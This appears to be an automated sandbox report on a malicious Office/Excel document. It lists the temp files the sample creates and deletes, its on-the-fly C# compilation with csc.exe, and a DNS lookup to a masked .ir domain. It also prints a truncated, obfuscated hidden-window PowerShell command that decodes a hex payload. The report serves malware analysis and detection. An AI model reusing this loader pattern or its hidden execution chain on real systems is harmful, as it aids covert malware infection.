Technical Information
Malicious functions
Executes the following (exploit)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -WindowStyle Hidden function cae9545 {param($r18596)$v53951='s37a92';$y8716e6='';for ($i=0; $i -lt $r18596.length;$i+=2){$dc27315=[convert]::ToByte($r18596.Substring($i,2),16);$y8716e6+=[char...
Modifies file system
Creates the following files
- %TEMP%\.ds_store
- %TEMP%\y2tkkdj0.dll
- %TEMP%\u_dwf_ex.dll
- %TEMP%\8y0mhscx.dll
- %TEMP%\res3163.tmp
- %TEMP%\res3106.tmp
- %TEMP%\res30b7.tmp
- %TEMP%\res3069.tmp
- %TEMP%\ez2vrl-1.dll
- %TEMP%\res304a.tmp
- %TEMP%\csc3133.tmp
- %TEMP%\csc30e5.tmp
- %TEMP%\csc30a7.tmp
- %TEMP%\csc3059.tmp
- %TEMP%\csc302a.tmp
- %TEMP%\we_flnci.out
- %TEMP%\we_flnci.cmdline
- %TEMP%\we_flnci.0.cs
- %TEMP%\8y0mhscx.out
- %TEMP%\8y0mhscx.cmdline
- %TEMP%\8y0mhscx.0.cs
- %TEMP%\u_dwf_ex.out
- %TEMP%\u_dwf_ex.cmdline
- %TEMP%\u_dwf_ex.0.cs
- %TEMP%\ez2vrl-1.out
- %TEMP%\ez2vrl-1.cmdline
- %TEMP%\ez2vrl-1.0.cs
- %TEMP%\y2tkkdj0.out
- %TEMP%\y2tkkdj0.cmdline
- %TEMP%\y2tkkdj0.0.cs
- %TEMP%\we_flnci.dll
- <LS_APPDATA>\microsoft\windows\<INETFILES>\content.word\~wrf{7257ff6d-b686-412f-9454-1c5eae1fab4c}.tmp
Deletes the following files
- %TEMP%\res304a.tmp
- %TEMP%\8y0mhscx.0.cs
- %TEMP%\8y0mhscx.dll
- %TEMP%\8y0mhscx.pdb
- %TEMP%\8y0mhscx.out
- %TEMP%\we_flnci.out
- %TEMP%\ez2vrl-1.0.cs
- %TEMP%\8y0mhscx.cmdline
- %TEMP%\we_flnci.pdb
- %TEMP%\we_flnci.0.cs
- %TEMP%\u_dwf_ex.out
- %TEMP%\u_dwf_ex.cmdline
- %TEMP%\u_dwf_ex.0.cs
- %TEMP%\u_dwf_ex.dll
- %TEMP%\we_flnci.cmdline
- %TEMP%\we_flnci.dll
- %TEMP%\ez2vrl-1.out
- %TEMP%\ez2vrl-1.cmdline
- %TEMP%\ez2vrl-1.dll
- %TEMP%\res3069.tmp
- %TEMP%\csc3059.tmp
- %TEMP%\res30b7.tmp
- %TEMP%\csc30a7.tmp
- %TEMP%\res3106.tmp
- %TEMP%\csc30e5.tmp
- %TEMP%\csc302a.tmp
- %TEMP%\res3163.tmp
- %TEMP%\y2tkkdj0.out
- %TEMP%\y2tkkdj0.dll
- %TEMP%\y2tkkdj0.cmdline
- %TEMP%\y2tkkdj0.pdb
- %TEMP%\y2tkkdj0.0.cs
- %TEMP%\ez2vrl-1.pdb
- %TEMP%\csc3133.tmp
- %TEMP%\u_dwf_ex.pdb
- %TEMP%\.ds_store
Network activity
UDP
- DNS ASK mr##ol.ir
Miscellaneous
Creates and executes the following
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -WindowStyle Hidden function cae9545 {param($r18596)$v53951='s37a92';$y8716e6='';for ($i=0; $i -lt $r18596.length;$i+=2){$dc27315=[convert]::ToByte($r18596.Substring($i,2),16);$y8716e6+=[char...' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\y2tkkdj0.cmdline"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\ez2vrl-1.cmdline"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\u_dwf_ex.cmdline"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\8y0mhscx.cmdline"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\we_flnci.cmdline"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES304A.tmp" "%TEMP%\CSC302A.tmp"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES3069.tmp" "%TEMP%\CSC3059.tmp"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES30B7.tmp" "%TEMP%\CSC30A7.tmp"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES3106.tmp" "%TEMP%\CSC30E5.tmp"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES3163.tmp" "%TEMP%\CSC3133.tmp"' (with hidden window)
Executes the following
- '%ProgramFiles%\microsoft office\office14\excel.exe' -Embedding
- '%ProgramFiles%\microsoft office\office14\excelcnv.exe' -Embedding
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\y2tkkdj0.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\ez2vrl-1.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\u_dwf_ex.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\8y0mhscx.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\we_flnci.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES304A.tmp" "%TEMP%\CSC302A.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES3069.tmp" "%TEMP%\CSC3059.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES30B7.tmp" "%TEMP%\CSC30A7.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES3106.tmp" "%TEMP%\CSC30E5.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES3163.tmp" "%TEMP%\CSC3133.tmp"
